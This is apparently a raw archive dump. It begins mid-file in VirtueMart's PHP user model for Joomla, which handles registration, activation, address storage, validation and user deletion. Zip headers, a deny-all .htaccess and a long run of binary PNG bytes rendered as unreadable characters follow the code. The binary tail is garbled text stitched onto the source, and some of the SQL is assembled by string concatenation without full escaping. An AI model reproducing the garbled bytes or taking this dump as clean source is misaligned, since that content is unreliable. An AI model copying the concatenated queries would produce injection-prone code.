JVM_VERSION===1){ $newUsertype = 'Registered'; } else { $newUsertype = 2; } } // Set some initial user values $user->set('usertype', $newUsertype); if ( JVM_VERSION===1){ $user->set('gid', $authorize->get_group_id( '', $newUsertype, 'ARO' )); } else { $user->groups[] = $newUsertype; } $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get( 'useractivation' ); $doUserActivation=false; if ( JVM_VERSION===1){ if ($useractivation == '1' ) { $doUserActivation=true; } } else { if ($useractivation == '1' or $useractivation == '2') { $doUserActivation=true; } } vmdebug('user',$useractivation , $doUserActivation); if ($doUserActivation ) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash( JUserHelper::genRandomPassword()) ); $user->set('block', '1'); //$user->set('lastvisitDate', '0000-00-00 00:00:00'); } } $option = JRequest::getCmd( 'option'); // If an exising superadmin gets a new group, make sure enough admins are left... if (!$new && $user->get('gid') != $gid && $gid == __SUPER_ADMIN_GID) { if ($this->getSuperAdminCount() <= 1) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN')); return false; } } if(isset($data['language'])){ $user->setParam('language',$data['language']); } // Save the JUser object if (!$user->save()) { vmError(JText::_( $user->getError()) , JText::_( $user->getError())); return false; } //vmdebug('my user, why logged in? ',$user); $newId = $user->get('id'); $data['virtuemart_user_id'] = $newId; //We need this in that case, because data is bound to table later $this->setUserId($newId); //Save the VM user stuff if(!$this->saveUserData($data) || !self::storeAddress($data)){ vmError('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA'); // vmError(Jtext::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA')); } else { if ($new) { $this->sendRegistrationEmail($user,$user->password_clear, $doUserActivation); if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_COMPLETE'); $user->set('activation', '' ); $user->set('block', '0'); $user->set('guest', '0'); } } else { vmInfo('COM_VIRTUEMART_USER_DATA_STORED'); } } //The extra check for isset vendor_name prevents storing of the vendor if there is no form (edit address cart) if((int)$data['user_is_vendor']==1 and isset($data['vendor_name'])){ vmdebug('vendor recognised '.$data['virtuemart_vendor_id']); if($this ->storeVendorData($data)){ if ($new) { if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE'); } } else { vmInfo('COM_VIRTUEMART_VENDOR_DATA_STORED'); } } } return array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>true); } /** * This function is NOT for anonymous. Anonymous just get the information directly sent by email. * This function saves the vm Userdata for registered JUsers. * TODO, setting of shoppergroup isnt done * * TODO No reason not to use this function for new users, but it requires a Joomla plugin * that gets fired by the onAfterStoreUser. I'll built that (OvE) * * Notice: * As long we do not have the silent registration, an anonymous does not get registered. It is enough to send the virtuemart_order_id * with the email. The order is saved with all information in an extra table, so there is * no need for a silent registration. We may think about if we actually need/want the feature silent registration * The information of anonymous is stored in the order table and has nothing todo with the usermodel! * * @author Max Milbers * @author Oscar van Eijk * return boolean */ public function saveUserData(&$data,$trigger=true){ if(empty($this->_id)){ echo 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'; vmError( 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'); return false; } $noError = true; $usertable = $this->getTable('vmusers'); $alreadyStoredUserData = $usertable->load($this->_id); $app = JFactory::getApplication(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")){ unset($data['virtuemart_vendor_id']); unset($data['user_is_vendor']); $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } else { if(!isset($data['user_is_vendor']) and !empty($alreadyStoredUserData->user_is_vendor)){ $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; } if(!isset($data['virtuemart_vendor_id']) and !empty($alreadyStoredUserData->virtuemart_vendor_id)){ $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } } unset($data['customer_number']); if(empty($alreadyStoredUserData->customer_number)){ //if(!class_exists('vmUserPlugin')) require(JPATH_VM_SITE.DS.'helpers'.DS.'vmuserplugin.php'); ///if(!$returnValues){ $data['customer_number'] = strtoupper(substr($data['username'],0,2)).substr(md5($data['username']),0,9); //We set this data so that vmshopper plugin know if they should set the customer nummer $data['customer_number_bycore'] = 1; //} } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin,storeadmin")) { $data['customer_number'] = $alreadyStoredUserData->customer_number; } } if($app->isSite()){ unset($data['perms']); if(!empty($alreadyStoredUserData->perms)){ $data['perms'] = $alreadyStoredUserData->perms; } else { $data['perms'] = 'shopper'; } } else { } if($trigger){ JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserStore',array(&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } } $usertable -> bindChecknStore($data); $errors = $usertable->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('storing user adress data'.$error); $noError = false; } if(Permissions::getInstance()->check("admin,storeadmin")) { $shoppergroupmodel = VmModel::getModel('ShopperGroup'); if(empty($this->_defaultShopperGroup)){ $this->_defaultShopperGroup = $shoppergroupmodel->getDefault(0); } if(empty($data['virtuemart_shoppergroup_id']) or $data['virtuemart_shoppergroup_id']==$this->_defaultShopperGroup->virtuemart_shoppergroup_id){ $data['virtuemart_shoppergroup_id'] = array(); } // Bind the form fields to the table if(!empty($data['virtuemart_shoppergroup_id'])){ $shoppergroupData = array('virtuemart_user_id'=>$this->_id,'virtuemart_shoppergroup_id'=>$data['virtuemart_shoppergroup_id']); $user_shoppergroups_table = $this->getTable('vmuser_shoppergroups'); $shoppergroupData = $user_shoppergroups_table -> bindChecknStore($shoppergroupData); $errors = $user_shoppergroups_table->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('Set shoppergroup '.$error); $noError = false; } } } if($trigger){ $plg_datas = $dispatcher->trigger('plgVmAfterUserStore',array($data)); foreach($plg_datas as $plg_data){ $data = array_merge($plg_data); } } return $noError; } public function storeVendorData($data){ if($data['user_is_vendor']){ $vendorModel = VmModel::getModel('vendor'); //TODO Attention this is set now to virtuemart_vendor_id=1, because using a vendor with different id then 1 is not completly supported and can lead to bugs //So we disable the possibility to store vendors not with virtuemart_vendor_id = 1 if(Vmconfig::get('multix','none')=='none' ){ $data['virtuemart_vendor_id'] = 1; vmdebug('no multivendor, set virtuemart_vendor_id = 1'); } $vendorModel->setId($data['virtuemart_vendor_id']); if(empty($data['vendor_store_name']) and !empty($data['company'])) $data['vendor_store_name'] = $data['company']; if (!$vendorModel->store($data)) { vmError('storeVendorData '.$vendorModel->getError()); vmdebug('Error storing vendor',$vendorModel); return false; } } return true; } /** * Take a data array and save any address info found in the array. * * @author unknown, oscar, max milbers * @param array $data (Posted) user data * @param sting $_table Table name to write to, null (default) not to write to the database * @param boolean $_cart Attention, this was deleted, the address to cart is now done in the controller (True to write to the session (cart)) * @return boolean True if the save was successful, false otherwise. */ function storeAddress(&$data){ // if(empty($data['address_type'])){ // vmError('storeAddress no address_type given'); // return false; // } $user =JFactory::getUser(); $userinfo = $this->getTable('userinfos'); if($data['address_type'] == 'BT'){ if(isset($data['virtuemart_userinfo_id']) and $data['virtuemart_userinfo_id']!=0){ $data['virtuemart_userinfo_id'] = (int)$data['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($data['virtuemart_userinfo_id']); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt storeAddress'); return false; } } } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //Todo multi-x, also vendors should be allowed to change the user address. if(!Permissions::getInstance()->check('admin')){ $userId = $user->id; } else { $userId = (int)$data['virtuemart_user_id']; } $q = 'SELECT `virtuemart_userinfo_id` FROM #__virtuemart_userinfos WHERE `virtuemart_user_id` = '.$userId.' AND `address_type` = "BT"'; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $data['virtuemart_userinfo_id'] = (int)$total[0]; } else { $data['virtuemart_userinfo_id'] = 0;//md5(uniqid($this->virtuemart_user_id)); } $userinfo->load($data['virtuemart_userinfo_id']); //unset($data['virtuemart_userinfo_id']); } if(!$this->validateUserData((array)$data,'BT')){ return false; } $userInfoData = self::_prepareUserFields($data, 'BT',$userinfo); //vmdebug('model user storeAddress',$data); if (!$userinfo->bindChecknStore($userInfoData)) { vmError('storeAddress '.$userinfo->getError()); } } // Check for fields with the the 'shipto_' prefix; that means a (new) shipto address. if($data['address_type'] == 'ST' or isset($data['shipto_address_type_name'])){ $dataST = array(); $_pattern = '/^shipto_/'; foreach ($data as $_k => $_v) { if (preg_match($_pattern, $_k)) { $_new = preg_replace($_pattern, '', $_k); $dataST[$_new] = $_v; } } $userinfo = $this->getTable('userinfos'); if(isset($dataST['virtuemart_userinfo_id']) and $dataST['virtuemart_userinfo_id']!=0){ $dataST['virtuemart_userinfo_id'] = (int)$dataST['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($dataST['virtuemart_userinfo_id']); $user = JFactory::getUser(); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt store address'); return false; } } } if(empty($userinfo->virtuemart_user_id)){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $dataST['virtuemart_user_id'] = $user->id; } else { if(isset($data['virtuemart_user_id'])){ $dataST['virtuemart_user_id'] = (int)$data['virtuemart_user_id']; } else { //Disadvantage is that admins should not change the ST address in the FE (what should never happen anyway.) $dataST['virtuemart_user_id'] = $user->id; } } } if(!$this->validateUserData((array)$dataST,'ST')){ return false; } $dataST['address_type'] = 'ST'; $userfielddata = self::_prepareUserFields($dataST, 'ST',$userinfo); if (!$userinfo->bindChecknStore($userfielddata)) { vmError($userinfo->getError()); } } return $userinfo->virtuemart_userinfo_id; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ public function validateUserData($data,$type='BT') { if (!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php'); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'BT') { $fieldtype = 'account'; }else { $fieldtype = 'shipment'; } $neededFields = $userFieldsModel->getUserFields( $fieldtype , array('required' => true, 'delimiters' => true, 'captcha' => true, 'system' => false) , array('delimiter_userinfo', 'name','username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed')); $i = 0; $j = 0; $return = true; $required = 0; //$objSize = count($data); $missingFields = array(); foreach ($neededFields as $field) { //This is a special test for the virtuemart_state_id. There is the speciality that the virtuemart_state_id could be 0 but is valid. if ($field->name == 'virtuemart_state_id') { if (!class_exists('VirtueMartModelState')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'state.php'); if(!empty($data['virtuemart_country_id'])){ if(!isset($data['virtuemart_state_id'])) $data['virtuemart_state_id'] = 0; if (!$msg = VirtueMartModelState::testStateCountry($data['virtuemart_country_id'], $data['virtuemart_state_id'])) { //The state is invalid, so we set the state 0 here. $data['virtuemart_state_id'] = 0; vmdebug('State was not fitting to country, set to 0'); } else if(empty($data['virtuemart_state_id'])){ vmdebug('virtuemart_state_id is empty, but valid (country has not states, set to unrequired'); $field->required = false; } else { vmdebug('validateUserData my country '.$data['virtuemart_country_id'].' my state '.$data['virtuemart_state_id']); } } } if($field->required ){ $required++; if(empty($data[$field->name])){ $missingFields[] = JText::_($field->title); $i++; $return = false; } else if($data[$field->name] == $field->default){ $i++; } else { } } } if($i==$required) $return = -1; //vmdebug('my i '.$i.' my data size '.$required,$return,$data); if(!$return){ VmConfig::loadJLang('com_virtuemart_shoppers', true); foreach($missingFields as $fieldname){ vmInfo(JText::sprintf('COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD',$fieldname) ); vmdebug(''); } } return $return; } function _prepareUserFields(&$data, $type,$userinfo = 0) { if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'ST') { $prepareUserFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default toggles ); } else { // BT // The user is not logged in (anonymous), so we need tome extra fields $prepareUserFields = $userFieldsModel->getUserFields( 'account' , array() // Default toggles , array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'user_is_vendor') // Skips ); } $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // Format the data foreach ($prepareUserFields as $fld) { if(empty($data[$fld->name])) $data[$fld->name] = ''; if(!$admin and $fld->readonly){ $fldName = $fld->name; unset($data[$fldName]); if($userinfo!==0){ if(property_exists($userinfo,$fldName)){ //vmdebug('property_exists userinfo->$fldName '.$fldName,$userinfo); $data[$fldName] = $userinfo->$fldName; } else { vmError('Your tables seem to be broken, you have fields in your form which have no corresponding field in the db'); } } } else { $data[$fld->name] = $userFieldsModel->prepareFieldDataSave($fld, $data); } } return $data; } function getBTuserinfo_id($id = 0){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); if($id == 0){ $id = $this->_id; //vmdebug('getBTuserinfo_id is '.$this->_id); } $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' .(int)$id .'" AND `address_type`="BT" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * * @author Max Milbers */ function getUserInfoInUserFields($layoutName, $type,$uid,$cart=true,$isVendor=false ){ // if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); // $userFieldsModel = new VirtuemartModelUserfields(); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFieldsFor( $layoutName, $type, $uid ); if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } /* * JUser or $this->_id is the logged user */ if(!empty($this->_data->JUser)){ $JUser = $this->_data->JUser; } else { $JUser = JUser::getInstance($this->_id); } $userFields = array(); if(!empty($uid)){ $data = $this->getTable('userinfos'); $data->load($uid); //vmdebug('$data',$data); if($data->virtuemart_user_id!==0 and !$isVendor){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if($data->virtuemart_user_id!=$this->_id){ vmError('Hacking attempt loading userinfo, you got logged'); echo 'Hacking attempt loading userinfo, you got logged'; return false; } } } if ($data->address_type != 'ST' ) { $BTuid = $uid; $data->name = $JUser->name; $data->email = $JUser->email; $data->username = $JUser->username; $data->address_type = 'BT'; } // vmdebug('getUserInfoInUserFields ',$data); } else { //New Address is filled here with the data of the cart (we are in the userview) if($cart){ if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $adType = $type.'address'; if(empty($cart->$adType)){ $data = $cart->$type; if(empty($data)) $data = array(); if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } } } $data = (object)$data; } else { if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } $data = (object)$data; } else { $data = null; } } } $userFields[$uid] = $userFieldsModel->getUserFieldsFilled( $prepareUserFields ,$data ,$preFix ); return $userFields; } /** * This should store the userdata given in userfields * * @author Max Milbers */ function storeUserDataByFields($data,$type, $toggles, $skips){ if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFields( $type, $toggles, $skips ); // Format the data foreach ($prepareUserFields as $_fld) { if(empty($data[$_fld->name])) $data[$_fld->name] = ''; $data[$_fld->name] = $userFieldsModel->prepareFieldDataSave($_fld,$data); } $this->store($data); return true; } /** * This uses the shopFunctionsF::renderAndSendVmMail function, which uses a controller and task to render the content * and sents it then. * * * @author Oscar van Eijk * @author Max Milbers * @author Christopher Roussel * @author Valérie Isaksen */ private function sendRegistrationEmail($user, $password, $doUserActivation){ if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vars = array('user' => $user); // Send registration confirmation mail $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email $vars['password'] = $password; if ($doUserActivation) { jimport('joomla.user.helper'); if(JVM_VERSION === 2) { $com_users = 'com_users'; $activationLink = 'index.php?option='.$com_users.'&task=registration.activate&token='.$user->get('activation'); } else { $com_users = 'com_user'; $activationLink = 'index.php?option='.$com_users.'&task=activate&activation='.$user->get('activation'); } $vars['activationLink'] = $activationLink; } $vars['doVendor']=true; // public function renderMail ($viewName, $recipient, $vars=array(),$controllerName = null) shopFunctionsF::renderMail('user', $user->get('email'), $vars); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($userIds) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')) { $userInfo = $this->getTable('userinfos'); $vm_shoppergroup_xref = $this->getTable('vmuser_shoppergroups'); $vmusers = $this->getTable('vmusers'); $_status = true; foreach($userIds as $userId) { $_JUser = JUser::getInstance($userId); if ($this->getSuperAdminCount() <= 1) { // Prevent deletion of the only Super Admin //$_u = JUser::getInstance($userId); if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if(Permissions::getInstance()->check('storeadmin')) { if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if (!$userInfo->delete($userId)) { vmError($userInfo->getError()); return false; } if (!$vm_shoppergroup_xref->delete($userId)) { vmError($vm_shoppergroup_xref->getError()); // Signal but continue $_status = false; continue; } if (!$vmusers->delete($userId)) { vmError($vmusers->getError()); // Signal but continue $_status = false; continue; } if (!$_JUser->delete()) { vmError($_JUser->getError()); $_status = false; continue; } } } return $_status; } function removeAddress($virtuemart_userinfo_id){ $db = JFactory::getDBO(); if ( isset($virtuemart_userinfo_id) and $this->_id != 0 ) { //$userModel -> deleteAddressST(); $q = 'DELETE FROM #__virtuemart_userinfos WHERE virtuemart_user_id="'. $this->_id .'" AND virtuemart_userinfo_id="'. (int)$virtuemart_userinfo_id .'"'; $db->setQuery($q); if($db->query()){ vmInfo('Address has been successfully deleted.'); return true; } } return false; } /** * Retrieve a list of users from the database. * * @author Max Milbers * @return object List of user objects */ function getUserList() { //$select = ' * '; //$joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id'; $search = JRequest::getString('search', false); $tableToUse = JRequest::getString('searchTable','juser'); $where = ''; if ($search) { $where = ' WHERE '; $searchArray = array('ju.name','username','email','perms','usertype','shopper_group_name'); if($tableToUse!='juser'){ if(!class_exists('TableUserinfos'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'userinfos.php'); $db = JFactory::getDbo(); $userfieldTable = new TableUserinfos($db); $userfieldFields = get_object_vars($userfieldTable); $userFieldSearchArray = array('company','first_name','last_name'); //We must validate if the userfields actually exists, they could be removed $userFieldsValid = array(); foreach($userFieldSearchArray as $ufield){ if(array_key_exists($ufield,$userfieldFields)){ $userFieldsValid[] = $ufield; } } $searchArray = array_merge($userFieldsValid,$searchArray); } $search = str_replace(' ','%',$this->_db->getEscaped( $search, true )); foreach($searchArray as $field){ $where.= ' '.$field.' LIKE "%'.$search.'%" OR '; } $where = substr($where,0,-3); } $select = ' ju.id AS id , ju.name AS name , ju.username AS username , ju.email AS email , IFNULL(vmu.user_is_vendor,"0") AS is_vendor , IFNULL(sg.shopper_group_name, "") AS shopper_group_name '; if ($search) { if($tableToUse!='juser'){ $select .= ' , ui.name as uiname '; } foreach($searchArray as $ufield){ $select .= ' , '.$ufield; } } $joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id LEFT JOIN #__virtuemart_vmuser_shoppergroups AS vx ON ju.id = vx.virtuemart_user_id LEFT JOIN #__virtuemart_shoppergroups AS sg ON vx.virtuemart_shoppergroup_id = sg.virtuemart_shoppergroup_id '; if ($search and $tableToUse!='juser') { $joinedTables .= ' LEFT JOIN #__virtuemart_userinfos AS ui ON ui.virtuemart_user_id = vmu.virtuemart_user_id'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$where,' GROUP BY ju.id',$this->_getOrdering()); } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { if ($search = JRequest::getString('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $searchArray = array('name','username','email','perms','usertype','shopper_group_name'); $where = ' WHERE '; foreach($searchArray as $field){ $where.= ' `'.$field.'` LIKE '.$search.' OR '; } $where = substr($where,0,-3); //$where = ' WHERE `name` LIKE '.$search.' OR `username` LIKE ' .$search.' OR `email` LIKE ' .$search.' OR `perms` LIKE ' .$search.' OR `usertype` LIKE ' .$search.' OR `shopper_group_name` LIKE ' .$search; return ($where); } return (''); } /** * Retrieve a single address for a user * * @param $_uid int User ID * @param $_virtuemart_userinfo_id string Optional User Info ID * @param $_type string, addess- type, ST (ShipTo, default) or BT (BillTo). Empty string to ignore */ function getUserAddressList($_uid = 0, $_type = 'ST',$_virtuemart_userinfo_id = -1){ //Todo, add perms, allow admin to see 0 entries. if($_uid==0 and $this->_id==0){ return array(); } $_q = 'SELECT * FROM #__virtuemart_userinfos WHERE virtuemart_user_id="' . (($_uid==0)?$this->_id:(int)$_uid) .'"'; if ($_virtuemart_userinfo_id !== -1) { $_q .= ' AND virtuemart_userinfo_id="'.(int)$_virtuemart_userinfo_id.'"'; } else { if ($_type !== '') { $_q .= ' AND address_type="'.$_type.'"'; } } // vmdebug('getUserAddressList query '.$_q); return ($this->_getList($_q)); } /** * Retrieves the Customer Number of the user specified by ID * * @param int $_id User ID * @return string Customer Number */ private $customer_number = 0; public function getCustomerNumberById() { if($this->customer_number===0){ $_q = "SELECT `customer_number` FROM `#__virtuemart_vmusers` " ."WHERE `virtuemart_user_id`='" . $this->_id . "' "; $_r = $this->_getList($_q); if(!empty($_r[0])){ $this->customer_number = $_r[0]->customer_number; }else { $this->customer_number = false; } } return $this->customer_number; } /** * Get the number of active Super Admins * * @return integer */ function getSuperAdminCount() { $this->_db->setQuery('SELECT COUNT(id) FROM #__users' . ' WHERE usertype = ' . __SUPER_ADMIN_GID . ' AND block = 0'); return ($this->_db->loadResult()); } /** * Return a list of Joomla ACL groups. * * The returned object list includes a group anme and a group name with spaces * prepended to the name for displaying an indented tree. * * @author RickG * @return ObjectList List of acl group objects. */ function getAclGroupIndentedTree() { //TODO check this out if (JVM_VERSION===1) { $name = 'name'; $as = '` AS `title`'; $table = '#__core_acl_aro_groups'; $and = 'AND `parent`.`lft` > 2 '; } else { $name = 'title'; $as = '`'; $table = '#__usergroups'; $and = ''; } //Ugly thing, produces Select_full_join $query = 'SELECT `node`.`' . $name . $as . ', CONCAT(REPEAT("   ", (COUNT(`parent`.`' . $name . '`) - 1)), `node`.`' . $name . '`) AS `text` '; $query .= 'FROM `' . $table . '` AS node, `' . $table . '` AS parent '; $query .= 'WHERE `node`.`lft` BETWEEN `parent`.`lft` AND `parent`.`rgt` '; $query .= $and; $query .= 'GROUP BY `node`.`' . $name . '` '; $query .= ' ORDER BY `node`.`lft`'; $this->_db->setQuery($query); //$app = JFactory::getApplication(); //$app -> enqueueMessage($this->_db->getQuery()); $objlist = $this->_db->loadObjectList(); // vmdebug('getAclGroupIndentedTree',$objlist); return $objlist; } } //No Closing tag PKB\)assets/.htaccessnuW+A Order allow,deny Deny from all PKB\assets/index.htmlnuW+APKB\opjassets/images/icone16-more.pngnuW+APNG  IHDR0܋ IDATx}xUǺӞz{zPhA[wĉQBH J_Y3߷3k<-No'">}ʇ~~u{]Ց?2c@[NqZHFR}Qzɤԇ>m߼2)7 !Z];\\N,yydmGg5a :j9Xt6s}ՌR+@} 5 y;#-Zw/?+^ _(r—_Wb ɯu;)} 47>S_N\lO8=Do^a-?х/VYEP(TTF\ƞϞ V>TqP v\ ? s[툘қP;s_WXWxe]}y,t:!?RI~*(¾Ox㎲eF M+E=gVPCpWݍ]=[ᄸ gDCodm Me!dМP9ZN".@J(vypZzᦶf>2sŨ q-Hr(j2hPh&;#Sea ŅKPU@^~]i]_[*=1֓gh|ԑ. MHj'w $@]Pv<"4K?}۪KPBY] e+΅K' o0yW\O7vb0Hu?vW!mh &qf7Jp|gX9N)$\7C>ښں,`54Oh<](OB@)b4x{\[fFE~2mue]܊TGIO2tJ"^F6Qia31%~cb; "Nȑ#8Αѣc~HV 3Mk  s$ͮ3w:v c,c-Csa xayos~~3" m+gz "NjAv%EB 8pꆹFvзrsEy>c:Z89[X;o:^R7Ƚ^3G_: <O_p9CFD^}<%n‚+hcy]sHL8ۇ8 8`5F_' [xo=t-] 9+OKIV6uWa`=#D Xno 8,vv,.ZBw󶃅/OK!6X֞ftaT cGG1+U_ ' s,%8 %/|~g-{ZS=@Us*kQ_:oB/AMs9W7=F7\wd:c``!iU%&㽨"ŕiF4OˊS!5|TOH)E@)=R`cZ4(~ϻcj㉖j C+yZF >:G$x4Oh㎺7uÇ5uewUH&Ny)K_y( <;/2<-uԆڎ;O O )ο1LN ykik;(/5cyZF eZ܍kcH+i*msGv|^YT` ZFW? M= HZ$byZF }Gt-q75Iy-RFids vs yZCKwcp76t XHQj;9WWڸ9 Heh BAI9BCK:F8%&S!" 2ZGmT lfNqGq8p8p/2M€P[IP_t69{(3)J>7NIC A MzC=T}}uENS>WA"1xCYKc;w' -LX.+JeX!2vQYV X"BrU|,>:EFXZ)uJUk4:<%V"$3[F3{ ,DU7%eť$-%bѕ 6߁wԺ,v7KEte[\of> a'*B,#-q2;( u(Aye5+*QAa Sihi6V6."-R X [Ry&4ஸν& h:{^>;H oZe5]mDuMz 4@:4& %Ä:\[+~6Gs-*3p]L@1"Ex:E )K7_^e EFĘoE :0XTCuy.xg`3TG("(b~x5οdd| E $) ~硹s-BZ8_ ?ň0q]wWbo8X9{c5L#vK@퉟$GIc=N2-~B[0:$1́N}@CJ#b3D)@^x(- ~{8<qgy]껇^tvv-bByq\C 8,azzce`|f,%>^qF_O[e ;z(%YC ]]=$e$(k?"1~$Km ^? )t"FF;6<ƒ ~W#,7HgyCx 5ak6"і,ϣ x%^ƫxM†6x:E1a ctt k򶒳a)[hܑ#~R"L찫?Qqg~bY}azpįoH6!v6\䯍{nՈ"hO<[IKofQ1 ~1J<[f" F^cAN{]4б,zT8p8p0.#"\Xp۝BRT ?TQ{N̝;wPDO%;"c`QWQꋪxtբ(EdB C3y1Ș܅QND*3}c8%)4pJ' xBbDU> CM-5Ġ 6@q Zjs'.?g5KpgDt5pFA.錗%#+WCB̥q4/0|>]DUqYD[<;]ouQ'pM)>bz8)C5O<%y ᘣ$drшcCH}t~cwG.hayBNܑqvz)K ^JcV.(ɜ?o?,E^~ W.D_8p#_v΂teCZP uR nO|"0ݡRcg F<$^/_oJ<wrt^?dR G0 3J4g 5)[Cx RjKA}',_ W++ZZfY"t%p#pʟP)HzfFoE_B_zRʿK36 [K=hvC;$u D{h[4Gau> +@Nʽ)1gKby% h=s&ۃ$BG貜nhg PV/CHhwcFjZ#jEoK'-u|c9:d)܉;ȕ 5bq]?By&2>REPqz@=3$VOL򑕒@_MfB\,ar`%rR CJF!RXꯃ(,oa#AyƴL58~8}1BTy 3qٯ)]*f~^ #pYuKwL Ϯwv3V "024¢q {aJDWvf)+W_  'a7ꮳtC2o3O5Pjju_P …HxA-e0$w*>.uj7s}%~Ƴfh$#<#cdChM8f D@&ðH#Fqw+4:\fk #23 (˂I̘t]LDGv݁DJD?dV X#_ eLzq{!9N^{%pA$^ ,ADe*)1ջQں>( iAw[,H:\_8p8:ط;5oP[#k5~9'>vԆRaO->Nvp!qQI >0+'"*sN5%ˏ 6ԖS 